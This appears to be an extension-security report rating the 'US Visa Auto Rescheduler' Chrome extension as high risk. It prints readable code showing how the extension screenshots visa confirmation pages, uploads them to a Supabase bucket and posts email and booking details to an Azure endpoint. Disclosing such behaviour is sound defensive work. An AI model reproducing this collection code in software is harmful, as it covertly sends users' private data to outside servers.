Is US Visa Auto Rescheduler safe?

High risk

US Visa Auto Rescheduler is high risk. After an AIS visa appointment confirmation, the extension stores the user's email and date, captures the page as a PNG, and uploads it to a Supabase bucket for AIS booking screenshots. It also posts booking metadata to an Azure endpoint.

v7.26.7.17Chrome Web Store
72Risk
Who publishes it

1 other listing from the same operator, none carrying a finding

What this publisher told the store about itself, and the other listings that told it the same thing.

Website
www.alertmeasap.com/contact

Same store account

1 other listing published from this account, 822 users between them, none of them carrying a finding.

CGI US Visa Appointment Auto Rescheduler822Low

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

AIS confirmation page screenshots uploaded to Supabase

After an AIS visa appointment confirmation, the extension stores the user's email and date, captures the page as a PNG, and uploads it to a Supabase bucket for AIS booking screenshots.

It also posts booking metadata to an Azure endpoint.

Severity
High unwanted
Type
Unexpected
CWE
CWE-359
Source
Dynamic sandbox
What actually happens
You did this

You complete or simulate an AIS visa appointment confirmation flow.

The content script is scoped to AIS pages and checks the appointment confirmation and group-page states.

The extension did this

The extension stores booking metadata, captures the visible page, and uploads a PNG screenshot.

The screenshot filename includes the email local part, appointment date, and current timestamp.

Data the screenshot flow handles
  • Visible confirmation page
    AIS visa appointment confirmation page with applicant and appointment details visible

    The uploaded image can show whatever booking details are visible on your AIS confirmation page.

  • Account email
    tester@example.com

    The stored email ties the screenshot workflow to your AIS account context.

  • Appointment date
    2026-01-01

    The appointment date identifies which booking the screenshot and filename refer to.

  • Screenshot filename
    screenshot-tester-2026-01-01-2026-07-13T07-00-45-482Z.png

    The object name can connect the uploaded image to an email local part and booking date.

What's stored on your device

This stored record tells the extension which account and appointment date to use when it later captures and uploads the visible page.

Location
chrome.storage.local key __screenshotPending
Contents
{  "timestamp": 1782864000000,  "userEmail": "tester@example.com",  "appointmentDate": "2026-01-01"}
Captured request
POSThttps://uxoodslfbcsyjiyljqpx.supabase.co/storage/v1/object/AIS-booking-screenshots/screenshot-tester-2026-01-01-2026-07-13T07-00-45-482Z.png

No response body was recorded; the source calls Supabase Storage upload with image/png and upsert enabled.

Headers
Content-Type
image/png
The code that does this

Code path from AIS confirmation to Supabase upload

Readable version

Readable equivalent of the AIS-only content script scope

manifest.json
// No separate deobfuscated source was present for this extension version.// The shipped manifest scopes these content scripts to AIS pages:// /libs/html2canvas.min.js, /libs/supabase-js.min.js, /libs/supabase.js, /js/screenshot.js, and /js/fetchdates.js// Match pattern: https://ais.usvisa-info.com/*

Readable equivalent of the confirmation metadata path

js/fetchdates.js
const stored = await chrome.storage.local.get(['__un', '__groupSize', '__visaClass']);const confirmationMetadata = {  userEmail: stored.__un || 'Unknown',  appointmentDate: appointmentDateFromPage,  groupSize: stored.__groupSize || 'single',  visaClass: stored.__visaClass || 'Unknown'};await chrome.storage.local.set({  __screenshotPending: {    userEmail: confirmationMetadata.userEmail,    appointmentDate: appointmentDateFromPage,    timestamp: Date.now()  }});const response = await fetch('https://usvisaextensionwithtelegramalert.azurewebsites.net/api/confirmation', {  method: 'POST',  headers: { 'Content-Type': 'application/json' },  body: JSON.stringify(confirmationMetadata)});const parsed = await response.json();

Readable equivalent of pending screenshot processing

js/fetchdates.js
if (isGroupPage) {  try {    const stored = await chrome.storage.local.get('__screenshotPending');    if (stored.__screenshotPending) {      await new Promise(resolve => {        setTimeout(async () => {          if (window.screenshotHandler) {            try {              const result = await window.screenshotHandler.handleScreenshotCapture(                stored.__screenshotPending.userEmail,                stored.__screenshotPending.appointmentDate              );              if (result.success && !result.queued) {                await chrome.storage.local.remove('__screenshotPending');              }            } catch (error) {            }          }          resolve();        }, 3000);      });    }  } catch (error) {  }}

Readable equivalent of visible page capture and upload call

js/screenshot.js
function buildScreenshotFilename(userEmail, appointmentDate) {  const timestamp = new Date().toISOString().replace(/[:.]/g, '-');  const emailPart = userEmail ? userEmail.split('@')[0] : 'unknown';  const datePart = appointmentDate ? appointmentDate.replace(/[^\w]/g, '-') : 'no-date';  return `screenshot-${emailPart}-${datePart}-${timestamp}.png`;}async function captureVisiblePageAsPng() {  assertHtml2CanvasLoaded();  await new Promise(resolve => setTimeout(resolve, 2000));  const canvas = await html2canvas(document.body, {    height: window.innerHeight,    width: window.innerWidth,    scrollX: 0,    scrollY: 0,    useCORS: true,    allowTaint: true,    scale: 1,    logging: false  });  addWatermark(canvas);  return new Promise(resolve => canvas.toBlob(resolve, 'image/png', 0.9));}async function handleScreenshotCapture(userEmail, appointmentDate) {  try {    if (!isWindowVisible()) {      await queueScreenshot(userEmail, appointmentDate);      return { success: true, queued: true };    }    const blob = await captureVisiblePageAsPng();    if (!blob) throw new Error('Failed to generate screenshot blob');    const filename = buildScreenshotFilename(userEmail, appointmentDate);    const result = await uploadBlob(blob, filename);    if (result.success) await chrome.storage.local.remove('__screenshotQueued');    return result;  } catch (error) {    return { success: false, error: error.message };  }}

Readable equivalent of the Supabase upload

libs/supabase.js
const SUPABASE_CONFIG = {  url: 'https://uxoodslfbcsyjiyljqpx.supabase.co',  key: 'sb_publishable_PBsPSDyFbqa3bpJT37WP6w_-7Q1s_R5',  bucketName: 'AIS-booking-screenshots'};async function uploadScreenshotToSupabase(blob, filename) {  try {    const client = getSupabaseClient();    if (!client) throw new Error('Supabase client not initialized');    const { data, error } = await client.storage      .from(SUPABASE_CONFIG.bucketName)      .upload(filename, blob, {        contentType: 'image/png',        upsert: true      });    if (error) throw error;    return { success: true, data };  } catch (error) {    return { success: false, error: error.message };  }}
External hosts reached by the confirmation flow
    • uxoodslfbcsyjiyljqpx.supabase.co

    Receives the PNG screenshot through Supabase Storage bucket AIS-booking-screenshots.

    • usvisaextensionwithtelegramalert.azurewebsites.net

    Receives confirmation metadata including email, appointment date, group size, and visa class.

Updated 30 September 2026fpafhfnhpbifhgjjfgaffgoccjmglnbg